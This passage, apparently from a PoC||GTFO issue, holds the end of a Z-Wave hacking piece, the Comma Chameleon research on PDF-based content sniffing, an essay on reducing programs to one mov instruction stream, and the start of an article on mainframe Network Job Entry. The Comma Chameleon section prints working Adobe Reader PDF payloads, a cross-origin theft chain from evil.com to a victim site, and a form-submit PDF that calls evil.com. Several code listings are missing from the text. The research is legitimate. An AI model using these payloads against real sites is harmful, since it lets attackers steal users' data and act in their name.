in low-power mode, a beam frame is required to bring the remote
device into a state where it may receive the application layer frame and
transmit an acknowledgment. Scapy-radio and EZ-Wave did not
previously support waking devices with beam frames, so we have
contributed the necessary GNURadio Z-Wave blocks to EZ-Wave.

It Came!
Somehow or Other, It Came Just the Same!

This Christmas, as we have done, may you, the blessed reader, extract
the network key from the EEPROM of a Z-Wave device. May you use
our PoCs to send authenticated commands to any other secured device
on your network. May you enlighten your friends and neighbors,
affording them the opportunity to sanctify by fire, or with lesser, more
legal means, home automation lacking physical security in the name of
Manion Butler and his holy mother. May you use our PoCs to watch
the automation for privacy breaches and data mining in the time to
come, and may you brew in peace.





12:4 Content Sniffing with Comma Chameleon

by Krzysztof Kotowicz and Gábor Molnár

The nineties. The age of Prince of Bel Air, leggings and boot sector
viruses. Boy George left Culture Beat to start a solo career, NCSA
Mosaic was created, and SQL injection became a thing. Everyone in
the industry was busy blowing the dot-com bubble with this whole new
e-commerce movement — and then the first browser war started.
Browsers rendered broken HTML pages like crazy to be considered
“better” in the eyes of the users. Web servers didn’t care enough to
specify the MIME types of resources, and user agents decided that the
best way to keep up with this mess is to start sniffing. MIME type
sniffing, that is.6 In short, they relied on heuristics to recognize the file
type of the downloaded resource, often ignoring what the server said. If
it quacks like an HTML, it must be HTML, you silly Apache. Such
were the 90s.



This MIME type sniffing or content sniffing has obviously led to a
new class of web security problems closely related to polyglots: if one
partially controls the server response in, e.g., an API call response or a
returned document and convinces the browser to treat this response as
HTML, then it’s straightforward XSS. The attacker would be able to
impersonate the user in the context of the given domain: if it is hosting
a web application, an exploit would be able to read user data and
perform arbitrary actions in the name of the user in the given web
application. In other cases, user content might be interpreted as other
(non-HTML) types, and then, instead of XSS, content-sniffing
vulnerabilities would be permitted for the exfiltration of cross-domain
data—just as bad.

Here we focus on PDF-based content-sniffing attacks. Our goal is
to construct a payload that turns a harmless content injection into
passive file formats (e.g., JSON or CSV) into an XSS-equivalent
content sniffing vulnerability. But first, we’ll give an overview of the
field and describe previous research on content sniffing.

Content Sniffing of Non-plugin File Types

To exploit a content sniffing vulnerability, the attacker injects the
payload into one of the HTTP responses from the vulnerable origin. In
practice, that origin must serve partially user controlled content. This
is common for online file hosting applications to which an attacker
might upload a malicious file, and also in APIs like JSONP that might
reflect a payload from the URL. (An attacker then prepares the URL
that would reflect the content in the response.)

The first generation of content sniffing exploits tried to convince
the browser that a given piece of non-HTML content was in fact
HTML, causing a simple XSS.

In other cases, content sniffing can lead to cross-origin information
leakage. A good example of this is mentioned in Chris Evans’ research7

and a recent variation on it from Filedescriptor,8 which are based on
the fact that browsers can be tricked into interpreting a cross-origin



HTML resource as CSS, and then observe the effects of applying that
CSS stylesheet to the attacker’s HTML document, in order to derive
information about the HTML content.

Current browsers implement more secure content-type detection
algorithms or deploy other protection mechanisms, such as the trust
zones in IE. Web servers also have become much better at properly
specifying the MIME type of resources. Additionally, secure HTTP
response headers9 are often used to instruct the user-agent not to
perform MIME sniffing on a resource. It’s now a de facto standard to
use Content-Type-Disposition: attachment, X-Content-Type-Options: nosniff and a
benign Content-Type whenever the response is totally user controlled (e.g.,
in file hosting applications).

That has improved the situation quite a bit, but there were still
some leftovers from the nineties that allowed for MIME sniffing
exploitation: namely, the browser plugins.

Plugin Content Sniffing

When an HTML page embeds plugin content, it must explicitly
specify the file type (SWF, PDF, etc.), then the browser must instantiate
the given plugin type regardless of the MIME type returned by the
server for the given resource.10

Some of those plugins ignore the response headers received when
fetching the file and render the content inline despite Content-Disposition:
attachment and X-Content-Type-Options: nosniff. For plugins that render active
content (e.g, Flash, Silverlight, PDF, etc.) this makes it possible to read
and exfiltrate the content from the hosting domain over HTTP. If the
plugin’s content is controlled by an attacker and runs in the context of
a domain it was served from, this is essentially equivalent to XSS, as
sensitive content like CSRF tokens can be retrieved in a session-riding
fashion.

This has led to another class of content sniffing attacks based on
plugins. Rosetta Flash11 12 was a great example of this: making a



JSONP API response look like a Flash file, so that the attacker-
controlled Flash file can run with the target domain’s privileges.

To demonstrate this, let’s see an example attack site for a vulnerable
JSONP API that embeds the given query string parameter in the
response body without modification:

<object
type="application/x-shockwave-flash"
data="http://example.com/jsonp_api?callback=CWS[flash file
     contents]">

In this case, the API response would look as below and would be
interpreted as Flash content if the response doesn’t match some
constraints introduced as a mitigation for the Rosetta Flash
vulnerability (we won’t discuss those in detail here):

CWS[flash file contents] ({"some":"JSON", "returned":"by",
                           "the":"API"})

Since Flash usually ignores any trailing junk bytes after the Flash
file body, this would be run as a valid SWF file hosted on the example.com
domain. The payload SWF file would be able to issue HTTP requests
to example.com, read the response (for example, the actual data returned
by the very same HTTP API, potentially containing some sensitive
user data), and then exfiltrate it to some attacker-controlled server.

Instead of Flash, our research focuses on PDF files and methods to
make various types of web content look like valid PDF content. PDF
files, when opened in the browser with the Adobe Reader plugin, are
able to issue HTTP requests just like Flash. The plugin also ignores
the response headers when rendering the PDF; the main challenge is
how to prepare a PDF payload that is immune to leading and trailing
junk bytes, and minimal in file size and character set size.

We must mention that our research is specific to Adobe Reader:
other PDF plugins usually display PDFs as passive content without the
ability to send HTTP requests and execute JavaScript in them.



Comma Chameleon

The existing PoC payloads for PDF-based content sniffing13 14 used a
FormCalc technique to read and exfiltrate the content. Although they
worked, we quickly noticed that their practicability is limited. They
were long (e.g. @irsdl uses > 11 kilobytes)15 and used large character
sets. Servers often rejected, trimmed, or transformed the PDF by
escaping some of the characters, destroying the chain at the PDF parser
level. Additionally, those PoCs would not work when some data was
prepended or appended to the injected PDF. We wanted a small
payload, with a limited character set and arbitrary prefix and suffix.

These are important aspects because most injection contexts where
the attack is useful are very limiting. For example, when injecting into a
string in a JSON file, junk bytes surround the injection point, as well as
the JSON format limitations on the character set (e.g., encoding quotes
and newlines).

Additionally, we wanted to come up with a universal payload—one
that does not need to be altered for a given endpoint and can be
injected in a fire-and-forget manner—thus no hardcoded URLs, etc.

And thus, the quest for the Comma Chameleon has started! Why
such a name? Read on!

Minimizing the Payload

To keep the PDF as small as possible, we made it contain only the
bootstrap code and injected all the rest of the content in an external
HTML page from the attacker’s origin. Size of the final code then
doesn’t matter, and we could focus only on minimizing the dropper
PDF. This required altering the PDF structure at various layers. Let’s
look at them one by one.

The PDF layer It turns out that for the working scriptable FormCalc
PDF we only need two objects.



1. A document catalog, pointing to the pages (/Pages) and the
interactive form (/AcroForm) with its XFA (XML Forms
Architecture). There needs to be an OpenAction dictionary
containing the bootstrapping JavaScript code. The /Pages element
may be empty if the document’s first page will not be displayed.

2. A stream with the XDP document with the event scripts.

Here’s an example:

Additionally, a valid PDF trailer is needed, specifying object offsets
in an xref section and a pointer to the /Root element.



Further on, the PDF header can be shortened and modified to
avoid detection; e.g., instead of %PDF-1.1<newline>, one can use %PDF-Q<space>
(we avoid null bytes to keep the character set small). Similarly, most of
the whitespace is unnecessary. For example, this is valid:

obj<</Pages 2 0 R/AcroForm<</XFA 3 0 R>>/OpenAction<</S/
     JavaScript/JS (code;)>>>>endobj

The xref section needs to contain entries for each of the objects and
is rather large (the overhead is 20 bytes per object); fortunately, non-
stream objects can be inlined and moved to the trailer. The final
example of a minimized PDF looks like this:

%PDF-Q 1 0 obj<</Length 1>>stream
{xdp here} endstream endobj xref 0 2 0000000000 65535f
     0000000007 00000 n trailer<</Root<</AcroForm<</XFA 1 0 R
     >>/Pages<<>>/OpenAction<</S/JavaScript/JS(code)>>>>>>
     startxref {xref offset here} %%EOF

The JavaScript bootstrap code As JavaScript-based vectors to read
HTTP responses from the PDF’s origin without user confirmation
were patched by Adobe, FormCalc currently remains the most
convenient way to achieve this. Unfortunately it cannot be called
directly from the embedding HTML document, and a JavaScript
bridge is necessary. In order to script the PDF to enable data
exfiltration, we then need these two bridges:

1. HTML → PDF JavaScript

2. PDF JavaScript → FormCalc

The first bridge is widely known and documented.16



This works, but it’s huge. Fortunately, it is possible to shorten it a
lot. For example this.disclosed = true is not needed, and neither are most
of the properties of the messageHandler. Neither is this necessary, as
hostContainer is visible in the default scope. In the end we only need a
messageHandler.on-Message function to process messages from the HTML
document and a messageHandler.onDisclose function.

From the documentation:17

onDisclose — A required method that is called to determine
whether the host application is permitted to send messages to
the document. This allows the PDF document author to
control the conditions under which messaging can occur for
security reasons. [...] The method is passed two parameters
cURL and cDocumentURL [...]. If the method returns true, the host
container is permitted to post messages to the message
handler.



For our purposes we need a function reference that, when called
returns true—or a ‘truth-y’ value (this is JavaScript, after all!). To save
characters, how about a Date constructor?

In the end, the shortened javascript payload is just:

Phew! The whole embedding HTML page can now use
object.postMessage to deliver the second stage PDF JavaScript code. We’re
looking forward to Adobe Reader supporting ES5 arrow functions as
that will shorten the payload even more.

The XDP In his PoC,18 @insertScript proposed the following payload for
the XDP with a hardcoded URL (some wrapping XDP structure has
been removed here and below for simplicity):

<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/"> ...
  <field id="Hello World!">
    <event activity="initialize">
      <script contentType='application/x-formcalc'>
        Post("http://sameOrigin.com/index.html",



             "YOUR POST DATA","text/plain","utf-8",
             "Content-Type: Dolphin&#xOd;&#xOa;Test: AAA");
      </script >
    </event >
  </field> ...
</xdp:xdp >

It turns out we don’t need the <field>, as we can create those
dynamically from JavaScript (see next paragraph). Events can also be
triggered dynamically, so we don’t need to rely on initialize and can
instead pick an event with the shortest name, exit. We also define the
default XML namespace and lose the contentType attribute (FormCalc is a
default value). With these optimizations we’re down to:

JavaScript → FormCalc bridge In Adobe Reader it is possible for
JavaScript to call FormCalc functions.19 This was used by Irsdl to
create the PoC for the data exfiltration.

The communication relies on using the form fields in the XDP to
store input parameters and output value, and triggering the events that
would run the FormCalc scripts. This, again, requires a long XML
payload.

Or does it? Fortunately, the form fields can be created dynamically
by JavaScript and don’t need to be defined in the XML. Additionally,
FormCalc has the Eval() function — perfect for our purposes.

In the end, the JavaScript function (injected from the HTML) to
initialize the bridge is as follows, and the relevant FormCalc event
script is simply r=Eval(P).



Now we have a simple way to get the same-origin HTTP response
from the embedding page’s javascript like this:



Similarly, we can evaluate arbitrary javascript or FormCalc code by
extending the protocol in the javascript code — all without modifying
the PDF.

The Final Payload

The final PDF payload for the Comma Chameleon can be presented in
various versions. The first one is:

%PDF-Q 1 0 obj<</Length 1>>stream
<xdp xmlns ="http ://ns.adobe.com/xdp/"><config><present><pdf><
     interactive>1</interactive></pdf></present></config><
     template><subform name="s"><pageSet/><event activity="exit
     "><script>r=Eval (P)</script ></event></subform></template
     ></xdp> endstream endobj xref 0 2 0000000000 65535 f
     0000000007 00000 n trailer<</Root<</AcroForm<</XFA 1 0 R
     >>/Pages<<>>/OpenAction<</S/JavaScript/JS (hostContainer.
     messageHandler={onDisclose:Date, onMessage:function(a){eval
     (a[0])}})>>>>>>startxref 286 %%EOF





It’s 522 bytes long, using the character set consisting of a space,
newline, alphanumerics, and ()[]{}%-,/.:=<>". The only newline character
is required after the stream keyword, and double quote characters can be
replaced with single quotes if needed.

The second version utilizes compression and ASCII stream
encoding in order to reduce the character set (at the expense of size).

%PDF-Q 1 0 obj<</Filter [/ASCIIHexDecode/FlateDecode]/Length
    322>>stream
789c4d8f490ec2300c45af527553d8d4628b9cecd823 718234714
    ba4665062aa727b4c558695a7ff9f6d 5
    c5d6ed630c7aaba3b733e03c4da1b9706ea6d0a 2063
    e834da14473f69cc852a4596c48d1a7d642a
    c6b25f489f10fe4b844d015f037c104c21cf8645 521
    fc3984a68a209a4dada0ad54c7423068db488
    abd9609e9faaa3d5b3dc516df199755197c5cc87
    eb1161ef206c0e893b55b2dfa6f71bfa05c67b53 ec>endstream
    endobj xref 0 2 0000000000 65535 f 0000000007 00000 n
    trailer<</Root<</AcroForm<</XFA 1 0 R>>/Pages<<>>/
    OpenAction<</S/JavaScript/JS<686 f7374436f 6
    e7461696e65722e6d65737361676548616e646c 65723
    d7b6f6e446973636c6f73653a446174652c 6
    f6e4d6573736167653a66756e6374696f6e2861 297
    b6576616c28615b305d297d7d>>>>>>>startxref 416 %% EOF

It’s now 732 bytes long, but with a much more injection-friendly
character set consisting of space, alphanumerics, one newline, and []<>/-
%. The complete HTML page to initialize the PDF and instrument the
data exfiltration is quite straightforward.





To start, the runCommaChameleon needs to be called with the PDF URL
and the URL to exfiltrate. (Both URLs should be from the victim’s
origin.) The whole chain looks like this:



1. Victim browses to //evil.com.

2. //evil.com HTML loads the PDF from //victim.com into an <object> tag,
starting Adobe Reader.

3. The PDF /OpenAction calls back to the HTML with its URL.

4. The full code is sent to the PDF and is eval()ed by its JavaScript
message handler, creating a bridge to FormCalc.

5. HTML sends a URL load instruction (//victim.com/any-url) to PDF.

6. FormCalc loads the URL (the browser happily attaches cookies).

7. HTML page gets the response back.

8. //evil.com, having completed the cross-domain content exfiltration,
smiles and finishes his piña-colada. Fade to black, close curtain.

Just for fun, window.ev and window.formcalc are also exposed, giving you
shells in respectively PDF JavaScript and its FormCalc engine. Enjoy!

The full PoC is available in pocorgtfo12.pdf.20

Embedding into Other File Formats

The curious reader might notice that, even though they made a thirty-
two second long effort to skip through most of this gargantuan write-
up and even spotted the PoC section before, there’s still no clue as to
why this thing is named “Comma Chameleon.” As with all current
security research, the name is by far the most important part, so now
we need to unfold this mystery!

PDF makes for an interesting target to exploit plugin-based
content sniffing, because the payload does not need to cover the whole
HTTP response from a target service. It’s possible to construct a PDF
even if there’s both a prefix and a suffix in the response—the injection
point doesn’t need to start at byte 0, like in Rosetta Flash.

Our payload however allows for even more—it’s possible to split it
into multiple chunks and interleave it with uncontrolled data. For
example:



The only requirement is for the combined length of the prefix and
suffix to be under 1,000 bytes—all of that without needing to modify
the payload and recalculate the offsets.

Due to the small character set, the payload can survive multiple
encoding schemes used in various file formats. Additionally, the PDF
format itself allows one to neutralize the content in various ways. This
makes our payload great for applications hosting various file types.
Let’s take, for example, a CSV. To exploit the vulnerability, the attacker
only needs to control the first and the last columns over two
consecutive rows, like this:

This ASCII encoded version uses neutralized comma characters and
is a straightforward PDF/CSV chameleon, thus proving both the
usefulness of this payload, and that we’re really bad at naming things.

Browser Support

Comma Chameleon, just like other payloads used for MIME sniffing,
demonstrates that user controlled content should not be served from a
sensitive origin. This one, however is based on Adobe Reader browser
plugin and only works on browsers that support it—that excludes
Chromium-based browsers.21 MSIE employs a quirky mitigation:
rendered PDF files are served from a file:// origin upon content-type
mismatch, breaking the chain. Exploitation in Firefox is possible, but



has limited practicability because of the default click-to-play settings.22

As far as we can tell, Safari remains the most attractive target. Comma
Chameleon, while quite interesting, remains impractical until Adobe
decides to conquer the browser market with its non-NPAPI browser
plugin. We are looking forward to that.

The Quest for the One-line PDF

Comma Chameleon uses a relatively small set of characters, however,
there is still one that prevents it from being useful in numerous
injection contexts. It is the literal newline, since many injection
contexts do not allow literal newlines to appear: for example, a string
inside a JSON API response, a single field in a CSV file (as opposed to
when multiple fields are controlled), CSS strings, etc.

The perfect PDF injection payload would be a one line PDF that is
still able to: issue HTTP requests, read the response, and exfiltrate the
data. Since JSON API responses contain partially user controlled data
in many cases, and a large portion of them only escape characters that
are absolutely necessary to escape (like newlines), a one-line PDF
would suddenly make a huge number of APIs vulnerable, even more
than the Rosetta Flash vulnerability.

As it turns out, constructing such a PDF is hard. The reason for this
is that newlines play a crucial role in the PDF file structure: the PDF
header has to be followed by a newline, and every stream must be
defined by a stream keyword followed by a newline and then the data.

As described in previous sections, the newline in the header can be
omitted when there’s a valid xref and trailer. However, there is no
known way to define stream objects without newlines.

We have partially overcome this problem. We’ll present our
solutions and the dead ends we’ve explored in the next few sections, to
give other researchers a solid foundation to start on.

Referencing an External Flash File



External Flash files can be referenced without using stream objects.
However, they are run within the context of their hosting domain,
which means that they are not useful for our purposes.

Executing JavaScript

For executing javascript code, we don’t need a stream object. When we
combine this fact with the trick to avoid the newline after the PDF
header with a valid xref, we arrive to this one line PDF file:

%PDF-Q xref 0 0 trailer<</Root<</Pages<<>>/OpenAction <</S/
     JavaScript/JS<6170702e616c6572742855524c29>>>>>>>
     startxref 7%%EOF

This PDF is immune to leading and trailing junk bytes, opens
without any warning popup in Adobe Reader, and opens an alert
window with the document’s URL from JavaScript. Note that there’s
necessary space character after the EOF sign.

Now the logical next step would be to find an Adobe Reader
JavaScript API that allows us to issue HTTP requests. Unfortunately,
all of the documented APIs that would allow reading the response
require the user’s consent.

Dynamically Creating an Embedded Flash File from JS

Without a direct HTTP API, we are left with two options: to
dynamically create either an embedded Flash file or a form with
FormCalc. After reading through the Adobe JS API reference a few
times, we determined that creating a form dynamically is not possible,
at least not in any documented way. On the other hand, it seemed like
dynamically adding an embedded Flash object may be possible.

This technique is made possible by an API that allows javascript to
manipulate a 3D scene. One of the possible modifications is adding a
texture to a surface. The texture can be an image, or even a video. In
the case of video, Flash movies are also supported. At this point, you
might wonder why Adobe implemented rendering embedded Flash



movies in a 3D scene in a PDF file displayed in a browser. It’s
something we’d also like to know, but now let’s continue exploring the
potential and limitations of this feature.

The data for the Flash movie needs to be specified as a Data object
(in this case, that means a JavaScript object of type Data, not a PDF
object). Data objects represent a buffer of arbitrary binary data. These
objects can be obtained from file attachments, but to have file
attachments, we need streams again—so that’s not an option. Another
way to create a Data object is the createDataObject API. But according to
the reference, this function can be called only by signed PDFs with file
attachment “usage rights,” or when opening the PDF in Adobe Pro.
The only way to sign a PDF and add file attachment usage right is
using Adobe’s LiveCycle Reader Extensions product. As we’re life-long
supporters of the Free Software movement, we ruled out paying for a
signature, and limiting the payload to Adobe Pro users is a very tight
constraint we didn’t want to add.



Next, we found a way to dynamically create Data objects in Adobe
Reader without a signature, but also came to the conclusion that
creating a 3D scene requires newlines regardless. This is because there’s
no way to define them without at least one stream object, and stream
objects cannot be defined without newlines.

After this dead end, we tried to find other ways to dynamically add
content to a displayed PDF. One promising target is the Forms Data
Format (FDF).

Using Forms Data Format to Load Additional Content



FDF23 and its XML based version, XML Forms Data Format
(XFDF)24 are a file format and a related technology, that are meant to
enable rich PDF forms to send the contents of a PDF form to a remote
server and to update the appearance of the PDF based on the server’s
response. For our purposes, the important part is updating the PDF.
This could enable us to implement a minimal form submission logic in
the payload PDF. That logic would submit the form to the attacker
server without any data and then augment the payload PDF using the
server’s response. The update received from the server would add
embedded Flash, 3D scene, or FormCalc code to the PDF, which
would then carry out the rest of the work.

The first step is having a first stage PDF that submits the form.
Fortunately, this can be achieved without user interaction in a really
compact way, without even using JavaScript:

%PDF-1.7 1 0 obj<</Pages 1 0 R/OpenAction<</S/SubmitForm/F(
    http: //evil.com/x.fdf#FDF)>>>>endobjxref 0 2 0000000000
    65535 f 0000000009 00000 n trailer<</Root 1 0 R>>
    startxref 98 %%EOF

As a security check,25 Adobe Reader will download the file at
evil.com/crossdomain.xml, which is a essentially a whitelist of domains, and
check whether the submitting PDF’s domain is in the whitelist. This is
not a problem, since this file is controlled by us, and we can add the
victim’s domain in the whitelist. There’s an additional constraint: the
Content-Type of the response must be exactly application/vnd.fdf.

According to the documentation, FDF supports the augmentation
of the original PDF in many different ways. You can update existing
form fields or new pages, annotations, and even new JavaScript code!

At a first glance, this feature set looks more than sufficient to
achieve our goal. Adding new JavaScript code is the easiest. The
required FDF file looks like this:

%FDF-1.2
1 0 obj
<< /FDF << /JavaScript << /Doc [ () (app.alert (42);)] >> >> >>



endobj
trailer
<< /Root 1 0 R >>
%%EOF

However, adding new javascript code to the document is not really
useful, since we already have javascript execution with a one line PDF.

Adding new pages seems useful, but it turns out that this only adds
the page itself, not the additional annotations attached to the page, like
Flash or 3D scenes. Also, XFA forms with FormCalc are not defined
inside pages, but at the document level, so the ability to add pages
doesn’t mean that we can add pages with forms in them.

The situations with updating existing form fields is similar: the only
interesting part of that API is the ability to draw a page from an
external PDF to an existing button as background. It has the same
limitations as adding pages: only the actual page graphics will be
imported, without annotations or forms.

Adding annotations is the most promising, since Flash files, 3D
scenes, attachments are all annotations. According to the
documentation, there are unsupported annotation types, but Flash and
3D are not among them. In practice, however, they just don’t work.
The only interesting type of annotation that is possible to add is file
attachments.

File attachments are useful for two reasons. First, they provide
references to their Data objects, which means that we now have a way to
create these objects without a signature. Secondly, they might contain
embedded PDF files. There are several different ways to open an
embedded PDF added with FDF, but the problem in this case is that
the new PDF is never loaded with the original PDF’s security context.
Instead, it’s saved to a temporary file first and then opened outside the
web browser.

The End of the Road?

The PDF file format has a huge set of features, especially if we consider
the JavaScript API, FormCalc, XFDF, other companion specifications,



and Adobe’s proprietary extensions. Many of these features are under-
specified, under-documented, and rarely used in practice, so that it’s
often impossible to find a working example. In addition to that, PDF
reader implementations (even Adobe’s own Acrobat Reader) often
deviate from the specification in subtle ways.

In the end, it’s not really possible to have a complete picture of
what PDF files can do. We believe that a one line payload is doable; we
just didn’t find a way to create one. We encourage others to take a look
and share the results!

Unexplored Areas

So far our goal has been to construct a PDF that is able to read and
exfiltrate data from the hosting domain through HTTP requests. In
this section, we will enumerate a few other interesting scenarios that we
didn’t explore in depth, but that may enable bypassing some other web
security features with PDFs.

If the goal is to exfiltrate just the document in which the injection
occurs, then PDF forms might come handy. If there are two injection
points, one could construct a PDF where the data between the
injection points becomes the content of a form field. This form can
then be submitted, and the content of the field can be read. When there
is one injection point, it’s possible to set a flag on PDF forms that
instructs the reader to submit the whole PDF file as is, which, in this
case, includes the content to be exfiltrated. We weren’t able to get this
to work reliably, but with some additional work, this could be a viable
technique.

This technique might be usable in other PDF readers, like modern
browsers’ built-in PDF plugins. It would also be interesting to have a
look at the API surface these PDF readers expose, but we didn’t have
the resources to have a deeper look into these yet.

Content Security Policy is a protection mechanism that can be used
to prevent turning an HTML injection into XSS, by limiting the set of
scripts the page is allowed to run. In other words, when an effective



CSP is in place, it is impossible to run attacker-provided JavaScript
code in the HTML page, even if the attacker has partial control over
the HTML code of the page through an injection. Adobe Reader
ignores the CSP HTTP header and can be forced to interpret the page
as PDF with embedded Flash or FormCalc. Note that in this scenario
we assume that the injection is unconstrained when it comes to the
character set, so there’s no need to avoid newlines or other characters.
This only works in HTML pages that don’t have a <!doctype declaration,
since that is included in Adobe Reader’s blacklist of strings that can’t
appear before the PDF header in a PDF file. Adobe Reader simply
refuses to display these files, so the applicability of this attack is very
limited.

Modern browsers block popups by default. This protection can be
bypassed basically in all browsers running the Adobe Reader plugin by
using the app.launchURL("URL", true) JavaScript API.

Last, but not least, we’ve run into many Adobe Reader memory
corruption errors during our research. This indicates that the features
we’ve tested are not widely used and fuzzed, so they might be a good
target for future fuzzing projects.
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12:5 A Crisis of Existential Import; or, Putting the
VM in M/o/Vfuscator

by Chris Domas

A programmer writes code. That is his purpose: to define the
sequence of instructions that must be carried out to perform a desired
action. Without code, he serves no purpose, fulfills no need. What then
would be the effect on our existential selves if we found that all code
was the same, that every program could be written and executed exactly
as every other? What if the net result of our century of work was
precisely . . . nothing?

Here, we demonstrate that all programs, on all architectures,29 can
be reduced to the same instruction stream; that is, the sequence of
instructions executed by the processor can be made identical for every
program. On careful analysis, it is necessary to observe that this is
subtly distinct from prior classes of research. In an interpreter, we
might say that the same instructions (those that compose the VM) can
execute multiple programs, and this is correct; however, in an
interpreter the sequence of the instructions executed by the processor
changes depending on the program being executed—that is, the
instruction streams differ. Alternatively, we note that it has been shown
that the x86 MMU is itself Turing-complete, allowing a program to
run with no instructions at all.30

In this sense, on x86, we could argue that any program, compiled
appropriately, could be reduced to no instructions—thereby inducing
an equivalence in their instruction streams. However, this peculiarity is
unique to x86, and it could be argued that the MMU is then
performing the calculations, even if the processor core is not—different
calculations are being performed for different programs, they are just
being performed “elsewhere.”



Instead, we demonstrate that all programs, on any architecture,
could be simplified to a single, universal instruction stream, in which
the computations performed are precisely equivalent for every
program—if we look only at the instructions, rather than their data.

In our proof of concept, we will illustrate reducing any C program
to the same instruction stream on the x86 architecture. It should be
straightforward to understand the adaptation to other languages and
architectures.

We begin the reduction with a rather ridiculous tool called the
M/o/Vfuscator. The M/o/Vfuscator allows us to compile any C
program into only x86 mov instructions. That is not to say the
instructions are all the same—the registers, operands, addressing
modes, and access sizes vary depending on the program—but the
instructions are all of the mov variety. What would be the point of such a
thing? Nothing at all, but it does provide a useful beginning for us—by
compiling programs into only mov instructions, we greatly simplify the
instruction stream, making further reduction feasible. The mov
instructions are executed in a continuous loop, and compiling a
program31 produces an instruction stream as follows:



But our mov instructions are of all varieties—from simple mov eax, edx
to complex mov dl, [esi+4*ecx+0x19afc09], and everything in between. Many
architectures will not support such complex addressing modes (in any
instruction), so we further simplify the instruction stream to produce a
uniform variety of movs. Our immediate goal is to convert the diverse
x86 movs to a simple, 4-byte, indexed addressing varieties, using as few
registers as possible. This will simplify the instruction stream for
further processing and mimic the simple load and store operations
found on RISC type architectures. As an example, let us assume 0x10000
is a 4-byte scratch location, and esi is kept at zero. Then mov eax, edx can
be converted to

We have replaced the register-to-register mov variety with a standard
4-byte indexed memory read and write. Similarly, if we pad our data so
that an oversized memory read will not fault, and pad our scratch space
to allow writes to spill, then mov al, [0x20000] can be rewritten as

For more complex addressing forms, such as mov dx, [eax + 4*ebx +
0xdeadbeef], we break out the extra bit shift and addition using the same



technique the M/o/Vfuscator uses—a series of movs to perform the shift
and sum, allowing us to accumulate (in the example) eax+4*ebx into a
single register, so that the mov can be reduced back to an indexed
addressing eax+0xdeadbeef.

With such transforms, we are able to rewrite our diverse-mov
program so that all reads are of the form mov esi/edi, [base + esi/edi] and
all writes of the form mov [base + esi/edi], esi/edi, where base is some fixed
address. By inserting dummy reads and writes, we further homogenize
the instruction stream so that it consists only of alternating reads and
writes. Our program now appears as (for example):

The only variation is in the choice of register and the base address
in each instruction. This simplification in the instruction stream now
allows us to more easily apply additional transforms to the code. In this
case, it enables writing a non-branching mov interpreter. We first
envision each mov as accessing “virtual,” memory-based registers, rather
than CPU registers. This allows us to treat registers as simple
addresses, rather than writing logic to select between different registers.
In this sense, the program is now



where _esi and _edi are labels on 4-byte memory locations, and MOVE is
a pseudo-instruction, capable of accessing multiple memory addresses.
With the freedom of the pseudo-instruction MOVE, we can simplify all
instructions to the exact same form:

We can now define each MOVE by its tuple of memory addresses:

and write this as a list of operands:

We now write an interpreter for our pseudo-mov. Let us assume the
physical esi register now holds the address of a tuple to execute:



Finally, we execute this single MOVE interpreter in an infinite loop. To
each tuple in the operand list, we append the address of the next tuple
to execute, so that esi (the tuple pointer) can be loaded with the address
of the next tuple at the end of each transfer iteration. This creates the
final system:

The operand list is generated by the compiler, and the single
universal program appended to it. With this, we can compile all C
programs down to this exact instruction stream. The instructions are
simple, permitting easy adaptation to other architectures. There are no



branches in the code, so the precise sequence of instructions executed
by the processor is the same for all programs. The logic of the program
is effectively distilled to a list of memory addresses, unceremoniously
processed by a mundane, endless data transfer loop.

So, what does this mean for us? Of course, not so much. It is true,
all “code” can be made equivalent, and if our job is to code, then our
job is not so interesting. But the essence of our program remains—it
had just been removed from the processor, diffused instead into a list of
memory addresses. So rather, I suppose, that when all logic is distilled
to nothing, and execution has lost all meaning—well, then, a
programmer’s job is no longer to “code,” but rather to “data!”

This project, and the proof of concept reducing compiler, can be
found at Github32 and as an attachment.33 The full code elaborates on
the process shown here, to allow linking reduced and non-reduced
code. Examples of AES and Minesweeper running with identical
instructions are included.

12:6 A JCL Adventure with Network Job Entries

by Soldier of Fortran

Mainframes. Long the cyberpunk mainstay of expert hackers, they
have spent the last thirty years in relative obscurity within the hallowed
halls of hackers/crackers. But no longer! There are many ways to break
into mainframes, and this article will outline one of the most secret
components hushed up within the dark corners of mainframe mailing
lists: Network Job Entry (NJE).

Operating System and Interaction

With the advent of the mainframe, IBM really had a winner on their
hands: one of the first multipurpose computers that could serve
multiple different activities on the same hardware. Prior to OS/360,
you only had single-purpose computers. For example, you’d get a



machine that helps you track inventory at all your stores. It worked so
well that you figured you wanted to use it to process your payroll. No
can do, you needed a separate bespoke system for that. Enter IBMs
OS/360, and, from large to small, you had a system that was
multipurpose but could also scale as your needs did. It made IBM
billions, which was good because it almost cost the company its very
existence. OS/360 was released in 1964 and (though re-written entirely
today) still exists around the world as z/OS.

z/OS is composed of many different components that this article
doesn’t have the time to get in to, but trust me when I say there are
thousands of pages to be read out there about using and operating
z/OS. A brief overview, however, is needed to understand how NJE
(Network Job Entry) works, and what you can do with it.

Time Sharing and UNIX

You need a way to interact with z/OS. There are many different ways,
but I’m going to outline two here: OMVS and TSO.

OMVS is the easiest, because it’s really just UNIX. In fact, you’ll
often hear USS, or Unix System Services, mentioned instead of
OMVS. For the curious, OMVS stands for Open MVS; (MVS stands
for Multiple Virtual Storage, but I’ll save virtual storage for its own



article.) Shown in Figure 12.4, OMVS is easy—because it’s UNIX, and
thus uses familiar UNIX commands.

TSO is just as easy as OMVS—when you understand that it is
essentially a command prompt with commands you’ve never seen or
used before. TSO stands for Time Sharing Option. Prior to the
common era, mainframes were single-use—you’d have a stack of cards
and have a set time to input them and wait for the output. Two people
couldn’t run their programs at the same time. Eventually, though, it
became possible to share the time on a mainframe with multiple
people. This option to share time was developed in the early seventies
and remained optional until 1974. Figure 12.5 shows the same
commands as in Figure 12.4, but this time in TSO.

Datasets and Members; Files and Data

In the examples above you had a little taste of the file system on z/OS.
OMVS looks and feels like UNIX, and it’s a core component of the
operating system; however, its file system resides within what we call a
dataset. Datasets are what z/OS people would refer to as files or folders.
They are composed of either fixed-length or variable-length data.34

You can also create what is called a PDS or Partitioned Data Set, what
you or I would call a folder. Let’s take a look at the TSO command
listds again, but this time we’ll pass it the parameter members.



Figure 12.4: OMVS

Figure 12.5: TSO



Here we can see that the file EXAMPLE was in fact a folder that
contained the files MANIFEST and PHRACK. Of course this would be too easy if
they just called it “files” and “folders;” no, these are called datasets and
members.

Another thing you may be noticing is that there seem to be dots
instead of slashes to denote folders/files hierarchy. It’s natural to assume
—if you don’t use mainframes—that the nice comforting notion of a
